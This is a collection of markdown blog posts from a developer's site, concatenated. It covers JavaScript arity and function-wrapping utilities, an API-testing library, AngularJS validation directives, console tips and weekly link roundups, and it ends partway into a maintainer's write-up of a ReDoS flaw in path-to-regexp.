that's perfectly understandable, it's just a number. Unfortunately, this number can be integral to many other functions working correctly. But first, what number am I talking about? 11 | 12 | ```javascript 13 | var fn = function (a, b) {}; 14 | 15 | fn.length; //=> 2 16 | ``` 17 | 18 | As you can see, the length gives up the exact number of arguments the function is expecting to be passed in. This can be useful for other functions that might want to alter its behaviour based on this digit. For example, I found outlining this issue [with currying](http://raganwald.com/2013/03/21/arity-and-partial-function-application.html). Basically, the `curry` function implementation relies on using the arity information to know how many times the function needs to be curried. 19 | 20 | To force the number of arity in our returned anonymous functions, we need to dynamically generate a function with the specified number of arguments. Why? Because the previous implementations of [wrapping functions](http://blakeembrey.com/articles/wrapping-javascript-functions/), [bind](http://blakeembrey.com/articles/javascript-bind-function/), [variadic](http://blakeembrey.com/articles/javascript-variadic-function/) and every other functional utility I have demonstrated don't proxy the number of arguments through the returned function. 21 | 22 | This can be a problem in the case where we want to use this function somewhere that expects a function length to work correctly, like when currying. We could fix this at the source, a half a dozen times and any number of times more. Or we could write a little utility that will enfore a number of arguments for us. 23 | 24 | ```javascript 25 | var names = "abcdefghijklmnopqrstuvwxyz"; 26 | var __slice = Array.prototype.slice; 27 | 28 | /** 29 | * Make a function appear as though it accepts a certain number of arguments. 30 | * 31 | * @param {Number} length 32 | * @param {Function} fn 33 | * @return {Function} 34 | */ 35 | var arity = function (length, fn) { 36 | return eval( 37 | "(function (" + 38 | __slice.call(names, 0, length).join(",") + 39 | ") {\n" + 40 | "return fn.apply(this, arguments);\n" + 41 | "})", 42 | ); 43 | }; 44 | ``` 45 | 46 | The above function allows us to pass in an argument length and a function to proxy. It then returns to us an anonymous function with the correct number of arguments defined (`.length` works!) and allows us to call the function and return the usual result. It doesn't do anything to the arguments in the interim, it just tells the world how many arguments we are accepting. 47 | 48 | ## The Other Arity Problem 49 | 50 | So we've touched one of the arity problems, which is a expecting to read the correct arity from a function. The reverse arity problem is when a function is called with incorrect or overloaded arguments. Consider `parseInt`, which accepts two arguments - a string and the radix. 51 | 52 | ```javascript 53 | [1, 2, 3, 4, 5].map(parseInt); //=> [1, NaN, NaN, NaN, NaN] 54 | ``` 55 | 56 | Now we're having problems. To fix this we can make a utility function that limits the number of arguments passed through. 57 | 58 | ```javascript 59 | var __slice = Array.prototype.slice; 60 | 61 | /** 62 | * Force a function to accept a specific number of arguments. 63 | * 64 | * @param {Number} length 65 | * @param {Function} fn 66 | * @return {Function} 67 | */ 68 | var nary = function (length, fn) { 69 | return function () { 70 | return fn.apply(this, __slice.call(arguments, 0, length)); 71 | }; 72 | }; 73 | ``` 74 | 75 | If you've been reading, you would have just noticed that we introduced the original bug we've been trying to avoid. That is, we're returning a new anonymous function without proxying the number of arguments through. Let's quickly correct that with the function we just wrote. 76 | 77 | ```javascript 78 | var __slice = Array.prototype.slice; 79 | 80 | /** 81 | * Force a function to accept a specific number of arguments. 82 | * 83 | * @param {Number} length 84 | * @param {Function} fn 85 | * @return {Function} 86 | */ 87 | var nary = function (length, fn) { 88 | // Uses the previous function to proxy the number of arguments. 89 | return arity(length, function () { 90 | return fn.apply(this, __slice.call(arguments, 0, length)); 91 | }); 92 | }; 93 | ``` 94 | 95 | Now we can use this to fix our map error from earlier. We also have the added bonus of a correct argument representation. 96 | 97 | ```javascript 98 | nary(1, parseInt).length; //=> 1 99 | 100 | [1, 2, 3, 4, 5].map(nary(1, parseInt)); //=> [1, 2, 3, 4, 5] 101 | ``` 102 | -------------------------------------------------------------------------------- /posts/2017-04-16-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-04-16) 3 | date: 2017-04-16 16:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - More [Startup School](https://www.startupschool.org) videos 9 | - First week of the [Mindshift](https://www.coursera.org/learn/mindshift) course 10 | - [Ran 20.5km](https://runkeeper.com/user/blakeembrey/activity/965498430) 11 | 12 | ## Articles 13 | 14 | - [The Stats of The Furious](https://www.bloomberg.com/graphics/2017-fast-and-furious/) - Enjoyable visualisation of the Fast and Furious franchise 15 | - [I'm Sick of Injustice Dressed as Inconvenience](https://medium.com/@ebonstorm/im-sick-of-injustice-dressed-as-inconvenience-5221ae1a45d1) - A response to the responses of the assault on a customer of United 16 | - [United Airlines made me ABANDON my mobility device at the gate before my honeymoon](https://medium.com/@treyharris/united-airlines-made-me-abandon-my-mobility-device-at-the-gate-before-my-honeymoon-8d74eee04038) - Another horrific tale of United customer service 17 | - [​Australian Authorities Hacked Computers in the US](https://motherboard.vice.com/en_us/article/australian-authorities-hacked-computers-in-the-us) - The murky waters of international law seems painful to work with, I can't see any way to guarantee an operation would only target people within a country 18 | - [Free Furry of The Land: When SovCits and Furries Collide](http://lawyersandliquor.com/2017/04/free-furry-of-the-land-when-sovcits-and-furries-collide/) - Lawyers investigation of a sovereign citizen fued and furries 19 | - [New Technology Is Built on a 'Stack.' Is That the Best Way to Understand Everything Else, Too?](https://www.nytimes.com/2017/04/11/magazine/new-technology-is-built-on-a-stack-is-that-the-best-way-to-understand-everything-else-too.html?_r=0) - I didn't realise this was a thing 20 | - [Princeton’s Ad-Blocking Superweapon May Put an End to the Ad-Blocking Arms Race](https://motherboard.vice.com/en_us/article/princetons-ad-blocking-superweapon-may-put-an-end-to-the-ad-blocking-arms-race) - Interesting idea since another article (opting out - below) had a picture of an ad. Would that image get blocked? 21 | - [Your Government's Hacking Tools Are Not Safe](https://motherboard.vice.com/en_us/article/your-governments-hacking-tools-are-not-safe) - The need for more open policies on hacking (touches on the golden key issue with FBI vs Apple) 22 | - [Our Dishonest President](http://www.latimes.com/projects/la-ed-our-dishonest-president/) - Delves on Donald Trump as a president 23 | - [The iPad Turnaround Is Coming](https://mondaynote.com/the-ipad-turnaround-is-coming-6d04747b215b) - Could the iPad turn-around as a device? 24 | - [What Individuals Should Do Now That Congress Has Obliterated the FCC’s Privacy Protections](https://www.aclu.org/blog/free-future/what-individuals-should-do-now-congress-has-obliterated-fccs-privacy-protections) - Guidelines for anyone to follow after the FCC privacy protections are gone 25 | - [How Much My Digital Nomad Lifestyle Costs: Real Budget Numbers from Nearly 5 Years on the Road](http://gigigriffis.com/how-much-my-digital-nomad-lifestyle-costs-real-budget-numbers-from-nearly-5-years-on-the-road/) - Overview of one nomads real budget when travelling 26 | - [Leveling up your code reviews](https://medium.com/jean-hsu/leveling-up-your-code-reviews-ee5943abf68c) - Advice for doing better code reviews 27 | - [How to crawl a quarter billion webpages in 40 hours](http://www.michaelnielsen.org/ddi/how-to-crawl-a-quarter-billion-webpages-in-40-hours/) - Writing and scaling a simple crawler on AWS 28 | - [Does More Than One Monitor Improve Productivity?](https://blog.codinghorror.com/does-more-than-one-monitor-improve-productivity/) - Trying to find a balance using a desktop monitor for myself 29 | - [Security Advisory: Mobile Phones](http://blog.kraken.com/post/153209105847/security-advisory-mobile-phones) - Another article on the security of mobile phones (if you haven't already, you should be using 2FA with an application and not SMS) 30 | - [Opting Out: The Illusion](https://medium.com/@robleathern/opting-out-the-illusion-12a41551e88c) - Attempting to opt-out of tracking for advertising 31 | - [The Science of Sleep: Regulating Emotions and the Twenty-four Hour Mind](https://www.farnamstreetblog.com/2017/03/twenty-four-hour-mind-rosalind-cartwright/) - Another article on sleep and their effects 32 | 33 | ## Reading 34 | 35 | - [Do Androids Dream of Electric Sheep?](https://www.goodreads.com/book/show/7082.Do_Androids_Dream_of_Electric_Sheep_) 36 | - [Elon Musk: Inventing the Future](https://www.goodreads.com/book/show/22543496-elon-musk) (audiobook) 37 | 38 | ## Watched 39 | 40 | - [The Man In The High Castle](https://trakt.tv/shows/the-man-in-the-high-castle/seasons/1) - The show will suck you in until the end 41 | - [Marvel's Agents of S.H.I.E.L.D.](https://trakt.tv/shows/marvel-s-agents-of-s-h-i-e-l-d/seasons/4/episodes/17) - I feel like Marvel is doing an amazing job in the TV show space, making some of my favourite recent shows 42 | -------------------------------------------------------------------------------- /posts/2014-01-wrapping-javascript-functions.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Wrapping JavaScript Functions 3 | date: 2014-01-13 23:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | In the modern age of web applications and development, it seems we are constantly adding side effects to every part of our applications - everything from analytics to event triggering. Unfortunately in a lot of cases, we tend to cram this functionality into function with the useful stuff. As programmers, this causes numerous issues down the line - especially when it comes to refactoring and code comprehensibility. 9 | 10 | A simple way to keep this functionality apart from the core code is create a helpful utility function to manage it for you. And to keep our code readability, we shouldn't allow anything advanced that can break our understanding of the original function. That means we don't want to be able to alter the original function, but we can still trigger any side effects we need to inline with the original function. 11 | 12 | ```javascript 13 | var before = function (before, fn) { 14 | return function () { 15 | before.apply(this, arguments); 16 | return fn.apply(this, arguments); 17 | }; 18 | }; 19 | ``` 20 | 21 | To use the function, we can pass any function in as the first argument and the original function we want to wrap as the second argument. For example, we could do `before(logger, add)`. Even without seeing the `logger` or `add` functions, we can imagine what each do. And because we are passing all the arguments to the side effect function, we can do stuff with the information. 22 | 23 | One thing I find myself doing is checking what arguments were passed to a certain function. To do this now, we can `before(console.log.bind(console), fn)`. Now, let's implement the reverse functionality. 24 | 25 | ```javascript 26 | var after = function (fn, after) { 27 | return function () { 28 | var result = fn.apply(this, arguments); 29 | after.call(this, result); 30 | return result; 31 | }; 32 | }; 33 | ``` 34 | 35 | This is extremely similar to the first example. The main difference is that the first function passed in is the side effect, but now we have the side effect running after our wrapped function. Adapting the previous example, we can now do `after(add, logger)` and the logger will execute after the result is computed with the same arguments. 36 | 37 | One cool thing we could actually do, is to run argument validation in the `before` function. Consider this. 38 | 39 | ```javascript 40 | var validAdd = before(function () { 41 | for (var i = 0; i < arguments.length; i++) { 42 | if (typeof arguments[i] !== "number") { 43 | throw new TypeError("Expected a number"); 44 | } 45 | } 46 | }, add); 47 | ``` 48 | 49 | We can also put these two functions together and create a new utility. This one allows us to pass both a function before and after our core functionality. E.g. `around(logger, add, logger)`. 50 | 51 | ```javascript 52 | var around = function (over, fn, under) { 53 | return before(over, after(fn, under)); 54 | }; 55 | ``` 56 | 57 | ## Allow unlimited before and after functions 58 | 59 | We can also adapt the functions to accept a variable number of arguments as the `before` and `after` functions. However, we can't do this to the `around` utility since we wouldn't know which argument is the core function. 60 | 61 | ```javascript 62 | var __slice = Array.prototype.slice; 63 | 64 | var before = function (/* ...before, fn */) { 65 | var fn = arguments[arguments.length - 1]; 66 | var before = __slice.call(arguments, 0, -1); 67 | 68 | return function () { 69 | for (var i = 0; i < before.length; i++) { 70 | before[i].apply(this, arguments); 71 | } 72 | 73 | return fn.apply(this, arguments); 74 | }; 75 | }; 76 | 77 | var after = function (fn /*, ...after */) { 78 | var after = __slice.call(arguments, 1); 79 | 80 | return function () { 81 | var result = fn.apply(this, arguments); 82 | 83 | for (var i = 0; i < after.length; i++) { 84 | after[i].call(this, result); 85 | } 86 | 87 | return result; 88 | }; 89 | }; 90 | ``` 91 | 92 | ## Advanced wrapping utility 93 | 94 | So far we've seen some function wrapping utilities that are purely for side effects. They have no capability to alter the main function arguments or change the function result. For something more advanced than trigger side-effects, we might to want to use something a little different. 95 | 96 | ```javascript 97 | var __slice = Array.prototype.slice; 98 | 99 | var wrap = function (fn, wrap) { 100 | return function () { 101 | return wrap.apply(this, [fn].concat(__slice.call(arguments))); 102 | }; 103 | }; 104 | ``` 105 | 106 | This is actually pretty similar the `wrap` function used in Prototype.js. It allows us to call a custom wrapper function with the original function and all the arguments. But, how do we even use this? 107 | 108 | ```javascript 109 | var addAndMultiplyBy2 = wrap(add, function (originalFn, a, b) { 110 | return 2 * originalFn(a, b); 111 | }); 112 | ``` 113 | -------------------------------------------------------------------------------- /posts/2014-02-introducing-node-retest.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Introducing Retest 3 | date: 2014-02-11 23:30 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | If you've looked into testing your API in node before, you've probably run across [supertest](https://github.com/visionmedia/supertest) by the prolific TJ Holowaychuk. So have I and it's truly a fantastic library for testing APIs. However, I found it to be lacking a couple of features I sorely needed. And to my surprise, I struggled to find another request testing module in the node ecosystem. 9 | 10 | The reason I wrote [retest](https://github.com/blakeembrey/retest) is actually fairly simple. I needed to do away with the verbose chaining syntax and I had no need for the assertions built into supertest. Although I also could have written a HTTP request layer for retest, I decided to go with [request](https://github.com/mikeal/request). It's an extremely useful and well tested library for making requests, with numerous features already built-in that make it perfect for tests. 11 | 12 | ## How Do I Use It? 13 | 14 | I based the implementation on combining the usefulness of supertest with the conciseness of request, so it's extremely straightforward to get started. First we create a test request instance by wrapping an express application. 15 | 16 | ```javascript 17 | var retest = require("retest"); 18 | var express = require("express"); 19 | var app = express(); 20 | 21 | // Creates a request instance for interacting with our application. If the 22 | // application is not already listening on a port number, it will be bound to 23 | // an ephemeral port. 24 | var request = retest(app); 25 | ``` 26 | 27 | The `request` variable is now a wrapped instance of request, made to make requests relative to your app. You can even pass other objects to create your `request` instance. 28 | 29 | ```javascript 30 | // Create a request instance for a remote server. 31 | var request = retest('http://google.com'); 32 | 33 | // Listen to a normal http(s) server. 34 | var server = https.createServer({ ... }, app); 35 | var request = retest(server); 36 | ``` 37 | 38 | Now that we have our request instance, we can make requests using the options supported by [request](https://github.com/mikeal/request#requestoptions-callback). That's a load of functionality built-in, so I'll give you a chance to peruse it later. For a basic demo, we'll make a request to the root of our server. 39 | 40 | ```javascript 41 | request("/", function (err, res) { 42 | // We have access to the response body here. Or an error if something broke. 43 | }); 44 | ``` 45 | 46 | That was simple. We just made the first request to our API. Now we can look at turning this into a test. I'm using Mocha and Chai, but it should make sense if you've never used them. 47 | 48 | ```javascript 49 | it('should respond with "success"', function (done) { 50 | request("/", function (err, res) { 51 | expect(res.statusCode).to.equal(200); 52 | expect(res.body).to.equal("success"); 53 | done(err); 54 | }); 55 | }); 56 | ``` 57 | 58 | ## What Else Does Retest Do? 59 | 60 | Retest is a fairly thin wrapper around request, since so much functionality already exists in the core module. You can already pipe data to and from your requests, authenticate using OAuth or send custom query strings, bodies and headers. However, one useful feature of retest is automatic request and response body parsing. 61 | 62 | If your request specifies a JSON or URL-encoded content type and has a body, it will be automatically serialized. 63 | 64 | ```javascript 65 | app.post("/", function (req, res) { 66 | res.send(req.body); 67 | }); 68 | 69 | retest(app).post( 70 | "/", 71 | { 72 | headers: { 73 | "Content-Type": "application/json", 74 | }, 75 | body: { 76 | test: "data", 77 | }, 78 | }, 79 | function (err, res) { 80 | // The response would be the JSON-encoded data. If the request `Content-Type` 81 | // was set to `application/x-www-form-urlencoded`, we would expect the 82 | // response body to equal `test=data`. 83 | expect(res.body).to.equal('{"test":"data"}'); 84 | }, 85 | ); 86 | ``` 87 | 88 | Even the response body can be parsed. If the response `Content-Type` is set to either JSON or URL-encoding, it will be parsed and set as `res.body`. 89 | 90 | Another feature borrowed from supertest is `retest.agent`. Using the agent function returns an instance of request that is using a single cookie jar. This lets cookies persist between API requests. 91 | 92 | ## Why Remove Chaining and Assertions? 93 | 94 | The reason behind removing the chaining syntax is a result of my recent work with generator functions. Once I started writing my code using generators, I found it disconnecting to writing my tests using callbacks. So I implemented [co-retest](https://github.com/blakeembrey/co-retest) which returns thunks. Combine this with [co-mocha](https://github.com/blakeembrey/co-mocha) and now we can write a really elegant API test suite. 95 | 96 | ```javascript 97 | it('should respond with "success"', function* () { 98 | var res = yield request("/"); 99 | 100 | expect(res.statusCode).to.equal(200); 101 | expect(res.body).to.equal("success"); 102 | }); 103 | ``` 104 | 105 | It's important to note that generators are only available in node 0.11 and needs to be enabled using the `--harmony-generators` flag. 106 | -------------------------------------------------------------------------------- /posts/2014-05-angular-js-number-validation-bug.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Avoid type="number" in AngularJS 3 | date: 2014-05-09 20:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | The other day I got hit by a peculiar bug in Angular. Using `type="number"` on an input element wouldn't do any number validation. On top of this, when I entered an invalid number the only validation failing was `required`. 9 | 10 | After a little research, it turned out to be a ["feature"](http://www.w3.org/TR/html5/forms.html#number-state-%28type=number%29) of blocking access to the `value` attribute when it's an invalid number. Not all browsers follow the complete spec, so I found this was working in Firefox. Back in Chrome however, it was failing. You can even test this in the [AngularJS documentation](https://docs.angularjs.org/api/ng/input/input%5Bnumber%5D) by typing an invalid number in the demo and looking at the error message. 11 | 12 | ## Custom Type Directive 13 | 14 | ````javascript 15 | var app = angular.module("myApp", []); 16 | 17 | /** 18 | * Provide custom type validation for input elements. Certain type attributes 19 | * don't work consistenty cross-browser, so this is a required workaround. 20 | * Looking at you, webkit and `type="number"`. 21 | * 22 | * ```html 23 | * 26 | * ``` 27 | */ 28 | app.directive("appType", function () { 29 | return { 30 | require: "ngModel", 31 | link: function (scope, elem, attrs, ctrl) { 32 | // Custom number validation logic. 33 | if (attrs.appType === "number") { 34 | return ctrl.$parsers.push(function (value) { 35 | var valid = value == null || isFinite(value); 36 | 37 | ctrl.$setValidity("number", valid); 38 | 39 | return valid && value != null ? Number(value) : undefined; 40 | }); 41 | } 42 | }, 43 | }; 44 | }); 45 | ```` 46 | 47 | The code above adds a new custom directive that requires `ngModel`. Requiring `ngModel` provides us with the [ngModelController](http://docs.angularjs.org/api/ng.directive:ngModel.NgModelController). Using the controller we can access some useful methods, including model input parsing and validity - which makes up the bulk of our validation logic. 48 | 49 | When the type is `number`, we push a custom parser onto the stack. Our parser goes on the end and will run after any other parsers, allowing us to keep the `required` directive in tact. The validity itself checks if the value is empty (`null` or `undefined`) or that it's a valid JavaScript number. Valid "JavaScript number" is important to note, since this will allow the most comprehensive check including integers, floats, negative and positive notation, but also other notations such as `0x1e5` and `1e5`. 50 | 51 | Validity gets set next and based on the result we'll coerce the value into a number. By doing number coercion, the model will correctly receive the number instead of the string representation. We want to avoid coercing empty values (`null` and `undefined`) however, which will come out as `0` and `NaN` respectfully. 52 | 53 | ## Recreating min and max directives 54 | 55 | ````javascript 56 | var app = angular.module("myApp", []); 57 | 58 | /** 59 | * Provide minimum number validation for any input. 60 | * 61 | * ```html 62 | * 65 | * ``` 66 | */ 67 | app.directive("appMin", function () { 68 | return { 69 | require: "ngModel", 70 | link: function (scope, elem, attrs, ctrl) { 71 | return ctrl.$parsers.push(function (value) { 72 | var valid = value == null || Number(value) >= Number(attrs.appMin); 73 | 74 | ctrl.$setValidity("min", valid); 75 | 76 | return valid ? value : undefined; 77 | }); 78 | }, 79 | }; 80 | }); 81 | ```` 82 | 83 | Recreating the `min` directive is trivial and we can easily make it work for any input. The above validation does the `null` check again, which will make an empty input element valid. This is important since we don't want to provide unnecessary validation and bundle the `required` directives job into ours. 84 | 85 | Next it's just a process of coercing both the value and attribute into numbers and comparing the values. If either are `NaN`, validation will fail. This provides some form of ensuring we have numbers only, but won't do any number coerce to the model. Finally, we return either the value or `undefined` if validation failed. 86 | 87 | ## Unit Testing 88 | 89 | Unit testing the functionality was straightforward enough, so I won't provide all the code used. A couple of things worth mentioning though is how to compile the templates for testing and set the values for validation. 90 | 91 | ```javascript 92 | it("...", function () { 93 | inject(function ($compile, $rootScope) { 94 | var $scope = $rootScope.$new(); 95 | 96 | $scope.model = {}; 97 | 98 | var $element = $compile( 99 | '
    ' + 100 | ' ' + 101 | "
    ", 102 | )($scope); 103 | 104 | // Set the value to what you want to test. 105 | $scope.form.num.$setViewValue("10"); 106 | 107 | // Check the model is what you expect and check validation. 108 | $scope.model.value.should.equal(10); 109 | $scope.form.num.$invalid.should.be.false; 110 | }); 111 | }); 112 | ``` 113 | -------------------------------------------------------------------------------- /posts/2017-07-23-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-07-23) 3 | date: 2017-07-23 21:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Back in San Francisco for 3 weeks 9 | - Visited [VR World](https://foursquare.com/v/vr-world-nyc/58dbe613fef5fa1e444da103) 10 | 11 | ## Internet 12 | 13 | - Useful 14 | - [Developing Leadership Skills](http://herdingcats.typepad.com/my_weblog/2017/07/developing-leadership-skills.html) 15 | - [What a study into Wikipedia’s norms can teach us about creating non-hierarchical social structures](https://modernmythology.net/what-a-study-into-wikipedias-norms-can-teach-us-about-creating-non-hierarchical-social-structures-f9da52b62cc) 16 | - [The company isn’t a family](https://m.signalvnoise.com/the-company-isnt-a-family-d24f26c3f3fe) 17 | - [Productivity advice for the weird](https://www.iwillteachyoutoberich.com/blog/productivity-advice-for-the-weird/) 18 | - Video 19 | - [Live Office Hours with Kevin Hale and Dalton Caldwell](https://www.youtube.com/watch?v=8Qc8ipjzatY) 20 | - Interesting 21 | - [How to start a sidehustle](https://swizec.com/blog/start-sidehustle/swizec/7716) 22 | - [The 5 Productive Morning Routines Of Highly Effective People](https://blog.trello.com/best-productive-morning-routines) 23 | - [How the Idea of a ‘Normal’ Person Got Invented](http://www.theatlantic.com/business/archive/2016/02/the-invention-of-the-normal-person/463365/) 24 | - [Do Asian Lives Matter? Contemplating Disparate Coverage of Charleena Lyles’s and Tommy Le’s Deaths](https://medium.com/@awchristensen/do-asian-lives-matter-contemplating-disparate-coverage-of-charleena-lyless-and-tommy-le-s-deaths-f29ed982be90) 25 | - [The Ultimate Guide to Habits – Peak Performance Made Easy](https://www.iwillteachyoutoberich.com/guides/ultimate-guide-to-habits/) 26 | - [This image is why self-driving cars need many types of sensors](https://www.technologyreview.com/s/608321/this-image-is-why-self-driving-cars-come-loaded-with-many-types-of-sensor/) 27 | - [Hacking a Segway](https://www.schneier.com/blog/archives/2017/07/hacking_a_segwa.html) 28 | - [How do you become a leader without explicit authority?](https://writing.jeanhsu.com/how-do-you-become-a-leader-without-explicit-authority-f0c5001d864b) 29 | - [Tech has a Toxic Tone Problem — Let’s Fix It!](http://compassionatecoding.com/blog/2016/8/25/tech-has-a-toxic-tone-problemlets-fix-it) 30 | - Opinion 31 | - [Love the One You’re With](https://www.youneedabudget.com/love-the-one-youre-with/) 32 | - [The Japanese First Lady might have pretended not to speak English for two hours to avoid chatting with Trump](https://www.indy100.com/article/donald-trump-japanese-pm-wife-her-excellency-madame-akie-abe-speak-english-7850846) 33 | - [Seth's Blog: All deals are handshake deals](http://sethgodin.typepad.com/seths_blog/2017/07/all-deals-are-handshake-deals.html) 34 | - [Seth's Blog: How much does a ton weigh?](http://sethgodin.typepad.com/seths_blog/2017/07/how-much-does-a-ton-weigh.html) 35 | - [Seth's Blog: Toward dumber](http://sethgodin.typepad.com/seths_blog/2017/07/toward-dumber.html) 36 | - [Public Service Announcement: You Should Not Force Quit Apps on iOS](https://daringfireball.net/2017/07/you_should_not_force_quit_apps) 37 | - [Daring Fireball: Samsung Describes Its Male and Female Bixby Assistants With Sexist Descriptions](https://daringfireball.net/linked/2017/07/19/samsung-bixby) 38 | - [Daring Fireball: Garry Kasparov on Trump and Putin](https://daringfireball.net/linked/2017/07/18/kasparov) 39 | - [Daring Fireball: Transmit 5](https://daringfireball.net/linked/2017/07/18/transmit-5) 40 | - [Daring Fireball: Only 45 Percent of Trump Voters Believe Don Jr. Met With the Russians, After Junior Admitted It](https://daringfireball.net/linked/2017/07/18/don-jr) 41 | - News 42 | - [Law enforcement took more stuff from people than burglars did last year](https://www.washingtonpost.com/news/wonk/wp/2015/11/23/cops-took-more-stuff-from-people-than-burglars-did-last-year/) 43 | - Software 44 | - [Making Money](https://medium.com/@tessr/making-money-530d2bb2b8f7) 45 | - [Let’s Build the Tiniest Blockchain](https://medium.com/crypto-currently/lets-build-the-tiniest-blockchain-e70965a248b) 46 | - [So, you decided to contribute to open source](https://medium.com/@eranhammer/so-you-decided-to-contribute-to-open-source-93b640cf2ae2) 47 | - [Do we need specialized graph databases? Benchmarking real-time social networking applications](https://blog.acolyer.org/2017/07/07/do-we-need-specialized-graph-databases-benchmarking-real-time-social-networking-applications/) 48 | - [Teaser -- Synthesizing Obama: Learning Lip Sync from Audio](https://www.youtube.com/watch?v=MVBe6_o4cMI) 49 | - [You probably shouldn’t use DynamoDB](https://syslog.ravelin.com/you-probably-shouldnt-use-dynamodb-89143c1287ca?gi=ddbef8b75b95) 50 | - [Getting Started with Event Sourcing in Postgres](https://www.backerkit.com/blog/getting-started-with-event-sourcing-in-postgres/) 51 | - [Postgres Randomized Primary Keys](https://medium.com/@emerson_lackey/postgres-randomized-primary-keys-123cb8fcdeaf) 52 | - [How Google Wants To Rewire The Internet](https://www.nextplatform.com/2017/07/17/google-wants-rewire-internet/) 53 | 54 | ## Reading 55 | 56 | - [Earth Unaware](https://www.goodreads.com/book/show/13151129-earth-unaware) 57 | - [The Red Queen: Sex and the Evolution of Human Nature](https://www.goodreads.com/book/show/16176.The_Red_Queen) 58 | - [Algorithms to Live By](https://www.goodreads.com/book/show/25666050-algorithms-to-live-by) (audiobook) 59 | -------------------------------------------------------------------------------- /posts/2013-07-improve-dev-tools-console-workflow.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Improving Your JavaScript Console Skills 3 | date: 2013-07-05 10:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | _This article is meant as an introduction to some of the features of the JavaScript console. It is not all encompassing, but I will try to cover all the features I find myself using and others that I could not live without. All the features mentioned will be tailored to the Chrome Dev Tools, but I will try to mention any differences with other modern browsers._ 9 | 10 | ## Accessing the dev tools 11 | 12 | If you have never used the developer tools before, you may have problems finding them. The easiest and simplest way to access the developer tools is by using the keyboard shortcuts. On Mac, this is `Command + Option + I`. On Windows, it'll be `F12`. In Safari, you'll have to enable the developer tools under preferences first. 13 | 14 | You can also inspect an element directly by right clicking and choosing `Inspect Element`, and you can always access the dev tools from the menu shortcuts. 15 | 16 | ## Console Functions 17 | 18 | The console global is an object that provides some useful shortcuts for debugging JavaScript. Arguably the most used function is `console.log`, but did you know the console also provides `info`, `warn`, `debug` and `error` functions. They operate in the same way as the `log` function, but the visual output will be altered and `error` output an accompanying stack trace. 19 | 20 | ![Console Functions Demonstrated](images/2013-07-dev-tools-console-functions.png) 21 | 22 | All these functions accepts an unlimited number of parameters, and will be formatted for output in the console in different ways - depending on the object types there are. For example, DOM nodes will output as a representation of the node from the elements tab while array-like objects will appear as an array. 23 | 24 | However, this added formatting convenience can sometimes be a pain. This is especially relevant when you want to see the underlying structure of a DOM node or an object. You may not even know it, but you have probably needed `console.dir` at some point because it does exactly this. 25 | 26 | ![Difference between console.log and console.dir](images/2013-07-dev-tools-console-dir-vs-log.png) 27 | 28 | ## Manipulating Nodes from the Elements Tab 29 | 30 | We've all been there - playing with a DOM node in the elements tab, but now we need to use JavaScript on it. We could do a regular DOM traversal to find it, but then we have to remember the ID or tag name, maybe even some obscure combination involving classes. If you switch to the Console tab on the Developer Tools, you can always grab the latest node you had selected using the `$0` variable shortcut. In Chrome, this can even be expanded upon up to `$4` - that's the latest five elements you had selected. 31 | 32 | `$0` - `$4` are direct references to the DOM nodes, so you can start manipulating it directly by grabbing the inner text (`$0.innerText`) or passing it to jQuery for manipulation (`$($0)`). While on the subject, did you know Chrome also provides an alias to `document.querySelectorAll` under `$$` and `document.querySelector` under `$` (if jQuery hasn't overwritten it of course). 33 | 34 | ## Other Useful Console Functions 35 | 36 | Don't despair yet, Chrome still has a wealth of functions at your debugging disposal. For your timing purposes, there is `console.time` and `console.timeEnd`. Each accept a single string as the name of the timer to stop and start. Even cooler is `console.assert`, which accepts two parameters - the check and a string - and logs an assertion failure with the string when the check is falsy. 37 | 38 | An interesting addition is `console.table`, which allows you to log an array of similar objects in a readable fashion. It accepts the array of objects as the first parameter, but also accepts a second parameter as the object keys you want to log. 39 | 40 | ![Demonstrating console.table](images/2013-07-dev-tools-console-table.png) 41 | 42 | ## Using the Console 43 | 44 | Whenever you are working in the console, hitting `Enter` will cause the content of the console to be evaluated and output to the screen. You can optionally use `Shift + Enter` to work over multiple lines, then just use `Enter` as usual to trigger evaluation. If you want to continue working on the code that was previously evaluated, just press the `Up` arrow - just like using the command line. The result of the previous evaluation is even stored in the variable `$_`, so you can use it in your next evaluation. 45 | 46 | ## Other Tips and Tricks 47 | 48 | The Chrome console also provides a function called `monitorEvents` that works exactly as described. It accepts an DOM node to monitor as the first argument and by default it'll monitor and log all the events. Optionally, you could pass in the string `"mouse"` or `"key"` to log only mouse or keyboard based events. 49 | 50 | Conveniently, Chrome also provides an `inspect` method which I feel is almost the opposite to `$0`. It will open the elements panel and focus on the element within the DOM tree. There is even a `copy` method to copy stuff to your clipboard. 51 | 52 | Somewhat less used, but Chrome also provides a `keys` function - which maps to `Object.keys` - and a `values` function, which is the polar opposite of keys. 53 | 54 | And if at some point you just feel like a chump using your mouse and clicking to clear the console, it'll be welcome news that there is even a `clear` function that can do it for you (and `Ctrl + L` keyboard shortcut!). And remember, you can always persist the console over page reloads by right clicking and selecting "Preserve Log upon Navigation". 55 | -------------------------------------------------------------------------------- /posts/2024-09-web-redos.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ReDoS the web 3 | date: 2024-09-04 12:00 4 | --- 5 | 6 | ## Background 7 | 8 | Ten years ago I took over `path-to-regexp` with the release of `v0.1.0`, used in Express.js 4. Between then and now I've released 8 major versions adding, removing, and refining features. If I knew what I knew today, none of those 8 major versions would have been released. That's story for another day. 9 | 10 | This story begins with Express 5. As part of reviving Express we're conducting a security audit, and I woke up on day to the revelation that users of `path-to-regexp` (including Express.js, Next.js, and others) may contain vulnerable regular expressions. It has never been reported, but once you know you know. 11 | 12 | Any route using two or more parameters between slashes, where the second parameter does not start with `/` or `.`, is currently vulnerable to ReDoS. Express.js uses a vulnerable example in the [routing guide](https://expressjs.com/en/guide/routing.html): `/flights/:from-:to`. The design flaw goes undetected all the way back to the initial commit. Let's look at the regular expression generated for this route: 13 | 14 | ```js 15 | 